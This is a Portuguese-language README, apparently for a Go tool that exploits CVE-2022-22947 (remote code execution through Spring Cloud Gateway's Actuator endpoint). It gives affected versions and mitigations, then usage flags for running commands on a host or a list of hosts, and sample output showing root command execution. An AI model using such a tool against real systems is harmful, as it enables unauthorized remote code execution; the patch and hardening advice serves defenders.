
Exploit baseado em Go para CVE-2022-22947, permitindo execução remota de código em instâncias vulneráveis do Spring Cloud Gateway através de requisições actuator manipuladas.
Spring Cloud Gateway é um novo projeto do Spring Cloud, com o objetivo de substituir o Netflix Zuul. Ele é desenvolvido com base em Spring 5.0+, Spring Boot 2.0+ e WebFlux (baseado no framework de comunicação reativa de alto desempenho Netty, modelo assíncrono não bloqueante), oferecendo desempenho superior ao Zuul. Em testes oficiais, o Gateway é 1,6 vezes mais rápido que o Zuul, visando fornecer uma maneira simples e eficaz de gerenciamento unificado de rotas de API para arquiteturas de microsserviços. A vulnerabilidade de execução remota de código no Spring Cloud Gateway (CVE-2022-22947) ocorre no endpoint Actuator da aplicação Spring Cloud Gateway, que, quando habilitado, exposto e inseguro, é suscetível a ataques de injeção de código. Através dessa vulnerabilidade, um atacante pode criar maliciosamente requisições que permitem a execução remota arbitrária em um host remoto. Pontuação CVSS desta vulnerabilidade: 9,8, Nível de gravidade: Crítico
CVE-2022-22947
3.1.0 3.0.0 a 3.0.6 Versões anteriores a 3.0.0
Usuários da versão 3.1.x devem atualizar para 3.1.1+
Usuários da versão 3.0.x devem atualizar para 3.0.7+
Se o endpoint Actuator não for necessário, pode-se desabilitá-lo através da configuração management.endpoint.gateway.enable: false
Se o endpoint Actuator for necessário, deve-se protegê-lo usando Spring Security
Este script foi desenvolvido em Golang e compilado para ser executado no Windows.
-cmd string Comando a ser executado (padrão "id") -host string Endereço alvo ou caminho do arquivo contendo os hosts (padrão "http://127.0.0.1:80")

Exemplo:
./cve_2022_22947.exe -host "C:\\Users\\Administrator\\Desktop\\hostlist.txt"
>cve_2022_22947.exe -host "C:\\Users\\Administrator\\Desktop\\hostlist.txt"
result: http://127.0.0.1:10089 : {"predicate":"RouteDefinitionRouteLocator$$Lambda$978/705851885","route_id":"hacktest","filters":["[[AddResponseHeader Result = 'uid=0(root) gid=0(root) groups=0(root)\n'], order = 1]"],"uri": "http://example.com:80","order":0}
vulnerable host:
http://127.0.0.1:10089
https://nosec.org/home/detail/4971.html https://github.com/lucksec/Spring-Cloud-Gateway-CVE-2022-22947